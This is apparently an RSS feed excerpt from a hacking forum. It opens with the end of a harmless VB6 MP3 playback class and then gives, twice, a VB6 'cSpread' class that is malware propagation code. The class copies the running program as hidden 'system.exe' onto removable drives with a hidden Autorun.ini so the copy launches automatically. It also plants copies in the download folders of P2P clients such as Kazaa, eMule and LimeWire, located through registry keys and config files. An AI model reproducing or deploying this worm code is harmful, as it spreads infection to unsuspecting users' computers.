&nbsp;&nbsp;GetMP3Pos = FormatMP3Time(Val(Trim(sBuffer)))<br />
End Function<br />
<br />
Private Function SignedInteger(ByVal UnsignedInteger As Long) As Integer<br />
&nbsp;&nbsp;&nbsp;&nbsp;UnsignedInteger = UnsignedInteger And 65535<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;If (UnsignedInteger And 32768) Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SignedInteger = UnsignedInteger - 65536<br />
&nbsp;&nbsp;&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SignedInteger = UnsignedInteger<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Function<br />
<br />
Public Sub SetMP3Vol(lVol As Long)<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim intVol As intVolumeType<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim lngVol As lngVolumeType<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;intVol.Left = SignedInteger(lVol * 6.5535)<br />
&nbsp;&nbsp;&nbsp;&nbsp;intVol.Right = SignedInteger(lVol * 6.5535)<br />
&nbsp;&nbsp;&nbsp;&nbsp;LSet lngVol = intVol<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Call waveOutSetVolume(0, lngVol.Value)<br />
End Sub<br />
<br />
Public Function mciGetOpenFile() As String<br />
&nbsp;&nbsp;Dim sBuffer As String * 255<br />
 <br />
&nbsp;&nbsp;On Error Resume Next<br />
&nbsp;&nbsp;mciSendString "info " &amp; sAlias &amp; " file", sBuffer, Len(sBuffer), 0<br />
&nbsp;&nbsp;mciGetOpenFile = Left&#36;(sBuffer, InStr(sBuffer, vbNullChar) - 1)<br />
End Function<br />
<br />
Public Sub SetMP3VolState(ByVal bMute As Boolean)<br />
&nbsp;&nbsp;If bMute Then<br />
&nbsp;&nbsp;&nbsp;&nbsp; mciSendString "set " &amp; sAlias &amp; " audio all off", 0, 0, 0<br />
&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp; mciSendString "set " &amp; sAlias &amp; " audio all on", 0, 0, 0<br />
&nbsp;&nbsp;End If<br />
End Sub<br />
<br />
Private Sub Class_Initialize()<br />
&nbsp;&nbsp;sAlias = App.ThreadID<br />
End Sub</code></div></div>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[VB6&#93; cSpread Klasse]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3574</link>
			<pubDate>Mon, 26 Jul 2010 07:20:08 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3574</guid>
			<description><![CDATA[<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long<br />
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long<br />
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long<br />
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long<br />
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long<br />
<br />
Const E1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As String = "AppData"<br />
Const E2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As String = "ProgramFiles"<br />
Const E3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As String = "Temp"<br />
<br />
Const EAuto&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As String = "Autorun.ini"<br />
<br />
Dim vRegKeys(5)&nbsp;&nbsp;&nbsp;&nbsp; As Variant<br />
Dim vDirKeys(4)&nbsp;&nbsp;&nbsp;&nbsp; As Variant<br />
<br />
Private Sub Class_Initialize()<br />
&nbsp;&nbsp;&nbsp;&nbsp;vRegKeys(1) = "HKEY_CURRENT_USER&#92;Software&#92;Ares&#92;Download.Folder"<br />
&nbsp;&nbsp;&nbsp;&nbsp;vRegKeys(2) = "HKEY_CURRENT_USER&#92;Software&#92;BearShare&#92;General&#92;DownloadDir"<br />
&nbsp;&nbsp;&nbsp;&nbsp;vRegKeys(3) = "HKEY_CURRENT_USER&#92;Software&#92;Kazaa&#92;LocalContent&#92;DownloadDir"<br />
&nbsp;&nbsp;&nbsp;&nbsp;vRegKeys(4) = "HKEY_CURRENT_USER&#92;Software&#92;Lphant&#92;General&#92;DownloadDir"<br />
&nbsp;&nbsp;&nbsp;&nbsp;vRegKeys(5) = "HKEY_CURRENT_USER&#92;Software&#92;Shareaza&#92;Shareaza&#92;Downloads&#92;CompletePath"<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;vDirKeys(1) = Array(Environ&#36;(E1) &amp; "&#92;FrostWire&#92;frostwire.props", "DIRECTORY_FOR_SAVING_FILES=", vbNewLine)<br />
&nbsp;&nbsp;&nbsp;&nbsp;vDirKeys(2) = Array(Environ&#36;(E2) &amp; "&#92;eMule&#92;config&#92;preferences.ini", "IncomingDir=", vbNewLine)<br />
&nbsp;&nbsp;&nbsp;&nbsp;vDirKeys(3) = Array(Environ&#36;(E2) &amp; "&#92;BitComet&#92;BitComet.xml", "&lt;DefaultDownloadPath&gt;", "&lt;/DefaultDownloadPath&gt;")<br />
&nbsp;&nbsp;&nbsp;&nbsp;vDirKeys(4) = Array(Environ&#36;(E1) &amp; "&#92;LimeWire&#92;limewire.props", "DIRECTORY_FOR_SAVING_FILES=", vbNewLine)<br />
End Sub<br />
<br />
Private Function DirExist(sPath As String) As Boolean<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Trim(sPath) = vbNullString Then Exit Function<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Dir(sPath, vbDirectory) &lt;&gt; vbNullString Then DirExist = True<br />
End Function<br />
<br />
Private Function RegExist(sPath As String) As Boolean<br />
On Error GoTo Err<br />
&nbsp;&nbsp;Dim ws As Object<br />
 <br />
&nbsp;&nbsp;Set ws = CreateObject("WScript.Shell")<br />
&nbsp;&nbsp;sPath = ws.RegRead(Path)<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;RegExist = True<br />
Err:<br />
End Function<br />
<br />
Private Function GetAppFilename() As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim hModule As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim buffer As String * 256<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;hModule = GetModuleHandle(App.EXEName)<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetModuleFileName hModule, buffer, Len(buffer)<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetAppFilename = Left&#36;(buffer, InStr(buffer &amp; vbNullChar, vbNullChar) - 1)<br />
End Function<br />
<br />
Private Function FileExist(sFile As String) As Boolean<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Trim(sFile) = vbNullString Then Exit Function<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Dir(sFile, vbNormal) &lt;&gt; vbNullString Then FileExist = True<br />
End Function<br />
<br />
Private Function BuildPath(sPath As String) As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Right&#36;(sPath, 1) &lt;&gt; Chr&#36;(92) Then BuildPath = sPath &amp; Chr&#36;(92)<br />
End Function<br />
<br />
Private Function RegRead(Path As String) As String<br />
On Error Resume Next<br />
&nbsp;&nbsp;Dim ws As Object<br />
 <br />
&nbsp;&nbsp;Set ws = CreateObject("WScript.Shell")<br />
&nbsp;&nbsp;RegRead = ws.RegRead(Path)<br />
<br />
End Function<br />
<br />
Private Sub FileCopyTo(sPath As String)<br />
&nbsp;&nbsp;&nbsp;&nbsp;FileCopy GetAppFilename(), BuildPath(sPath) &amp; GetRandomName<br />
End Sub<br />
<br />
Private Function GetRandomName() As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetRandomName = "system.exe"<br />
End Function<br />
<br />
Private Function ReadFile(sFile As String) As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Open sFile For Binary As #1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReadFile = Space(FileLen(sFile))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Get #1, , ReadFile<br />
&nbsp;&nbsp;&nbsp;&nbsp;Close #1<br />
End Function<br />
<br />
Private Function GetBetween(sText As String, sD1 As String, sD2 As String) As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetBetween = Split(Split(sText, sD1)(1), sD2)(0)<br />
End Function<br />
<br />
Private Sub SpreadUSB()<br />
 Dim sBuffer As String * 256<br />
 Dim iGet As Integer<br />
 Dim sCur() As String<br />
 <br />
&nbsp;&nbsp;iGet = GetLogicalDriveStrings(256, sBuffer)<br />
&nbsp;&nbsp;sBuffer = Mid&#36;(sBuffer, 1, InStr(1, sBuffer, String&#36;(2, Chr(0))))<br />
&nbsp;&nbsp;sCur() = Split(sBuffer, Chr(0))<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;If iGet &lt;&gt; 0 Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For i = 0 To UBound(sCur) - 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If GetDriveType(sCur(i)) = 2 Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileCopyTo sCur(i)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WritePrivateProfileString "Autorun", "Open", GetRandomName(), sCur(i) &amp; EAuto<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetAttr sCur(i) &amp; GetRandomName, vbHidden<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetAttr sCur(i) &amp; EAuto, vbHidden<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next i<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Sub<br />
<br />
Private Sub SpreadP2P()<br />
 Dim sCur As String<br />
 Dim sPath As String<br />
 Dim sDeli1 As String<br />
 Dim sDeli2 As String<br />
 <br />
&nbsp;&nbsp;&nbsp;&nbsp;For i = 1 To UBound(vRegKeys)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sCur = vRegKeys(i)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sPath = RegRead(sCur)<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If DirExist(sPath) = True Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileCopyTo sPath<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;Next i<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;For i = 1 To UBound(vDirKeys)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sCur = vDirKeys(i)(0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sDeli1 = vDirKeys(i)(1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sDeli2 = vDirKeys(i)(2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If FileExist(sCur) = True Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sPath = GetBetween(ReadFile(sCur), sDeli1, sDeli2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileCopyTo sPath<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;Next i<br />
End Sub<br />
<br />
Public Sub SpreadServer(bSpreadUSB As Boolean, bSpreadP2P As Boolean)<br />
&nbsp;&nbsp;&nbsp;&nbsp;If bSpreadP2P = True Then: Call SpreadP2P<br />
&nbsp;&nbsp;&nbsp;&nbsp;If bSpreadUSB = True Then: Call SpreadUSB<br />
End Sub</code></div></div>
]]></description>
			<content:encoded><![CDATA[<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long<br />
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long<br />
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long<br />
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long<br />
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long<br />
<br />
Const E1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As String = "AppData"<br />
Const E2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As String = "ProgramFiles"<br />
Const E3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As String = "Temp"<br />
<br />
Const EAuto&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As String = "Autorun.ini"<br />
<br />
Dim vRegKeys(5)&nbsp;&nbsp;&nbsp;&nbsp; As Variant<br />
Dim vDirKeys(4)&nbsp;&nbsp;&nbsp;&nbsp; As Variant<br />
<br />
Private Sub Class_Initialize()<br />
&nbsp;&nbsp;&nbsp;&nbsp;vRegKeys(1) = "HKEY_CURRENT_USER&#92;Software&#92;Ares&#92;Download.Folder"<br />
&nbsp;&nbsp;&nbsp;&nbsp;vRegKeys(2) = "HKEY_CURRENT_USER&#92;Software&#92;BearShare&#92;General&#92;DownloadDir"<br />
&nbsp;&nbsp;&nbsp;&nbsp;vRegKeys(3) = "HKEY_CURRENT_USER&#92;Software&#92;Kazaa&#92;LocalContent&#92;DownloadDir"<br />
&nbsp;&nbsp;&nbsp;&nbsp;vRegKeys(4) = "HKEY_CURRENT_USER&#92;Software&#92;Lphant&#92;General&#92;DownloadDir"<br />
&nbsp;&nbsp;&nbsp;&nbsp;vRegKeys(5) = "HKEY_CURRENT_USER&#92;Software&#92;Shareaza&#92;Shareaza&#92;Downloads&#92;CompletePath"<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;vDirKeys(1) = Array(Environ&#36;(E1) &amp; "&#92;FrostWire&#92;frostwire.props", "DIRECTORY_FOR_SAVING_FILES=", vbNewLine)<br />
&nbsp;&nbsp;&nbsp;&nbsp;vDirKeys(2) = Array(Environ&#36;(E2) &amp; "&#92;eMule&#92;config&#92;preferences.ini", "IncomingDir=", vbNewLine)<br />
&nbsp;&nbsp;&nbsp;&nbsp;vDirKeys(3) = Array(Environ&#36;(E2) &amp; "&#92;BitComet&#92;BitComet.xml", "&lt;DefaultDownloadPath&gt;", "&lt;/DefaultDownloadPath&gt;")<br />
&nbsp;&nbsp;&nbsp;&nbsp;vDirKeys(4) = Array(Environ&#36;(E1) &amp; "&#92;LimeWire&#92;limewire.props", "DIRECTORY_FOR_SAVING_FILES=", vbNewLine)<br />
End Sub<br />
<br />
Private Function DirExist(sPath As String) As Boolean<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Trim(sPath) = vbNullString Then Exit Function<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Dir(sPath, vbDirectory) &lt;&gt; vbNullString Then DirExist = True<br />
End Function<br />
<br />
Private Function RegExist(sPath As String) As Boolean<br />
On Error GoTo Err<br />
&nbsp;&nbsp;Dim ws As Object<br />
 <br />
&nbsp;&nbsp;Set ws = CreateObject("WScript.Shell")<br />
&nbsp;&nbsp;sPath = ws.RegRead(Path)<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;RegExist = True<br />
Err:<br />
End Function<br />
<br />
Private Function GetAppFilename() As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim hModule As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim buffer As String * 256<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;hModule = GetModuleHandle(App.EXEName)<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetModuleFileName hModule, buffer, Len(buffer)<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetAppFilename = Left&#36;(buffer, InStr(buffer &amp; vbNullChar, vbNullChar) - 1)<br />
End Function<br />
<br />
Private Function FileExist(sFile As String) As Boolean<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Trim(sFile) = vbNullString Then Exit Function<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Dir(sFile, vbNormal) &lt;&gt; vbNullString Then FileExist = True<br />
End Function<br />
<br />
Private Function BuildPath(sPath As String) As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Right&#36;(sPath, 1) &lt;&gt; Chr&#36;(92) Then BuildPath = sPath &amp; Chr&#36;(92)<br />
End Function<br />
<br />
Private Function RegRead(Path As String) As String<br />
On Error Resume Next<br />
&nbsp;&nbsp;Dim ws As Object<br />
 <br />
&nbsp;&nbsp;Set ws = CreateObject("WScript.Shell")<br />
&nbsp;&nbsp;RegRead = ws.RegRead(Path)<br />
<br />
End Function<br />
<br />
Private Sub FileCopyTo(sPath As String)<br />
&nbsp;&nbsp;&nbsp;&nbsp;FileCopy GetAppFilename(), BuildPath(sPath) &amp; GetRandomName<br />
End Sub<br />
<br />
Private Function GetRandomName() As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetRandomName = "system.exe"<br />
End Function<br />
<br />
Private Function ReadFile(sFile As String) As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Open sFile For Binary As #1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReadFile = Space(FileLen(sFile))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Get #1, , ReadFile<br />
&nbsp;&nbsp;&nbsp;&nbsp;Close #1<br />
End Function<br />
<br />
Private Function GetBetween(sText As String, sD1 As String, sD2 As String) As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetBetween = Split(Split(sText, sD1)(1), sD2)(0)<br />
End Function<br />
<br />
Private Sub SpreadUSB()<br />
 Dim sBuffer As String * 256<br />
 Dim iGet As Integer<br />
 Dim sCur() As String<br />
 <br />
&nbsp;&nbsp;iGet = GetLogicalDriveStrings(256, sBuffer)<br />
&nbsp;&nbsp;sBuffer = Mid&#36;(sBuffer, 1, InStr(1, sBuffer, String&#36;(2, Chr(0))))<br />
&nbsp;&nbsp;sCur() = Split(sBuffer, Chr(0))<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;If iGet &lt;&gt; 0 Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For i = 0 To UBound(sCur) - 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If GetDriveType(sCur(i)) = 2 Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileCopyTo sCur(i)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WritePrivateProfileString "Autorun", "Open", GetRandomName(), sCur(i) &amp; EAuto<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetAttr sCur(i) &amp; GetRandomName, vbHidden<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetAttr sCur(i) &amp; EAuto, vbHidden<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next i<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Sub<br />
<br />
Private Sub SpreadP2P()<br />
 Dim sCur As String<br />
 Dim sPath As String<br />
 Dim sDeli1 As String<br />
 Dim sDeli2 As String<br />
 <br />
&nbsp;&nbsp;&nbsp;&nbsp;For i = 1 To UBound(vRegKeys)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sCur = vRegKeys(i)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sPath = RegRead(sCur)<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If DirExist(sPath) = True Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileCopyTo sPath<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;Next i<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;For i = 1 To UBound(vDirKeys)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sCur = vDirKeys(i)(0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sDeli1 = vDirKeys(i)(1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sDeli2 = vDirKeys(i)(2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If FileExist(sCur) = True Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sPath = GetBetween(ReadFile(sCur), sDeli1, sDeli2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileCopyTo sPath<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
&nbsp;&nbsp;&nbsp;&nbsp;Next i<br />
End Sub<br />
<br />
Public Sub SpreadServer(bSpreadUSB As Boolean, bSpreadP2P As Boolean)<br />
&nbsp;&nbsp;&nbsp;&nbsp;If bSpreadP2P = True Then: Call SpreadP2P<br />
&nbsp;&nbsp;&nbsp;&nbsp;If bSpreadUSB = True Then: Call SpreadUSB<br />
End Sub</code></div></div>
]]></content:encoded>
		</item>
	</channel>
</rss>